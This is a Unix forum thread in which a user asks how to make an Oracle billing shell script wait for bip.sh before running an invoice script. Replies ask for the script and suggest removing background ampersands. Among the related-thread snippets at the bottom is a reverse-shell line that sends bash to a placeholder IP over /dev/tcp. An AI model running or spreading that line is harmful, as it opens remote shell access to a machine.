Shell scripting issue-running the background script


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting Shell scripting issue-running the background script
# 1  
Old 06-18-2013
Shell scripting issue-running the background script

I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ

bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How can i execute the bip.sh in foreground for every acocount number
Code:
#!/bin/sh
ORACLE_HOME=/var/opt/oracle/product/10g; export ORACLE_HOME
PATH=$PATH:$ORACLE_HOME/bin:/bin:/usr/bin; export PATH
today=`date "+%m-%d-%Y  %H:%M:%S"`; export today
SCRIPT_DIR=/arbor/integ_fx/scripts; export SCRIPT_DIR

LOG_FILE=error.log; export LOG_FILE

# Direct script output to log
exec > $LOG_FILE 2>&1


echo "LOGGING STARTS $today"
echo
echo

### Credentials for SQLPLUS


### Credentials for SQLPLUS

USER_ID=`cat .id_pass_file.txt | grep "^USER_ID" | cut -d "=" -f2`; export USER_ID
PWD=`cat .id_pass_file.txt | grep "^PWD" | cut -d "=" -f2`; export PWD
SID=`cat .id_pass_file.txt | grep "^SID" | cut -d "=" -f2`; export SID


### Connecting ORACLE

echo "SQLPLUS CONNECTION"

sqlplus -s $USER_ID@$SID/$PWD<<EOF>sql_output.txt
set feedback off
set heading off
select  1309  from adj where rownum < 2;

EOF


if [ $? -eq 0 ] 
then 
echo " SQLPLUS Connection Successful "
else
echo " SQLPLUS Connection Failed "
fi


for i in `cat sql_output.txt`
do
cd $SCRIPT_DIR
sh bip.sh 01 3 $i > bip.txt
sleep 360
echo "bip $i is running"
BILL_REF=`tail -2  bip.txt | head -1 | cut -d  " " -f  3`
cd ../xit_dev_CH/bin
ksh runXitInvoice_PROFORMA_integ  $BILL_REF 0 bp
done


Last edited by vbe; 06-18-2013 at 11:53 AM..
# 2  
Old 06-18-2013
please post the contents of bip.sh ...
# 3  
Old 06-18-2013
Not clear what you want to achieve. You say bip.sh runs in background but you want it to run in foreground? In your code snippet I can't see bip.sh in background; you run it in FG until it finishes, then wait 6 min (for what?), and then run runXitInvoice_PROFORMA_integ on the last two lines of the log file. Please explain in detail and with samples what you want.
# 4  
Old 06-19-2013
Quote:
Originally Posted by RudiC
Not clear what you want to achieve. You say bip.sh runs in background but you want it to run in foreground? In your code snippet I can't see bip.sh in background; you run it in FG until it finishes, then wait 6 min (for what?), and then run runXitInvoice_PROFORMA_integ on the last two lines of the log file. Please explain in detail and with samples what you want.
Hi Rudi ,
Thanks for the reply..bip.sh is designed to run in background .It is parameterized
script. It takes an account number as an input.For every account number it generates an unique number which needs to passed to another script and execution time of each bip.sh $accoun_num is different.
So how can i make sure that runXitInvoice_PROFORMA_integ begins execution only after bip.sh $accoun_num is finished its execution.
currently i am using sleep 100 but it is not efficient.
# 5  
Old 06-19-2013
Improve the bip.sh!
Remove & signs, so commands run in foreground.
In case the delays are caused by /dev/random, consider replacing it with /dev/urandom (faster but randomness is lower).
# 6  
Old 06-19-2013
Quote:
Originally Posted by MadeInGermany
Improve the bip.sh!
Remove & signs, so commands run in foreground.
In case the delays are caused by /dev/random, consider replacing it with /dev/urandom (faster but randomness is lower).
Hi german boy,
Can't change the bip.sh.It is a very critical script which generate the bill.client would not allow me to change it .
So i am looking for workaround.
Thanks.
# 7  
Old 06-19-2013
Until we see bip.sh we can't help further. Again: there's no sign that bip.sh is running in background (as far as I can see).
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. UNIX for Advanced & Expert Users

Issue with tracking successful completion of Child process running in background

Hello All, I am using Linux. I have two scripts: inner_script.ksh main_wrapper_calling_inner.ksh Below is the code snippet of the main_wrapper_calling_inner.ksh: #!/bin/ksh ppids=() ---> Main array for process ids. fppids=() ---> array to capture failed process ids. pcnt=0 --->... (5 Replies)
Discussion started by: dmukherjee
5 Replies

2. Shell Programming and Scripting

Korn Shell script in stopped state while running in background

Hi, I want to run a shell script in background . but its going to stopped state $ ksh cat_Duplicate_Records_Removal.ksh & 8975 $ + Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh & why is this happening? Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies

3. Shell Programming and Scripting

Issue with running commands from shell script

I'm trying to copy files from a remote windows server to Unix server. I was successfully able to copy files from windows server using command prompt but when I run these commands from a script it's not working as expected. commands used: sftp user@remoteserver.com lcd local_dir cd... (3 Replies)
Discussion started by: naresh7590
3 Replies

4. Shell Programming and Scripting

Shell Script for continuously checking status of a another script running in background, and immedia

Hi, I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help.. i am using below command to run script nohup system_traps.sh & but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies

5. Shell Programming and Scripting

Issue in running shell script in crontab

I'm having a shell script which has to be run only once at the specified time. Shell script is like following, #!/bin/bash db2 connect to XXX > connection_status.txt This script is scheduled in crontab as following, 50 4 8 5 0 sh script.sh scheduled script is run at the specified time... (1 Reply)
Discussion started by: Rajkumar Gandhi
1 Replies

6. Shell Programming and Scripting

Running Shell Script in the cron, background process

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (9 Replies)
Discussion started by: blacksteel1988
9 Replies

7. Shell Programming and Scripting

Running Shell Script in the cron, background proccess

Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies

8. Shell Programming and Scripting

Shell script running in background

Dear all, I have a little problem trying to run a shell script in background, as you can see below. - the script is a simple one: #! /bin/bash exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0 - the name of the script is test.sh - the script is executable(chmod +x test.sh) - on the... (2 Replies)
Discussion started by: gd05
2 Replies

9. Shell Programming and Scripting

Background Process Shell Scripting

I have a following program: echofunc() { filename=$1 echo "reading $filename" while read line do echo $line; sleep 6; done < $filename } split -5 new.dat ls x* > input.dat while read file do echofun $file & done < input.dat (3 Replies)
Discussion started by: dhieraj
3 Replies

10. Shell Programming and Scripting

Facing issue in Solaris OS in crontab for running shell script

Hello i have a shell script. it is running fine when i manually run at command prompt using following command ./script_file but while running shell script from crontab, it is giving error in each line. (2 Replies)
Discussion started by: mabrar
2 Replies
Login or Register to Ask a Question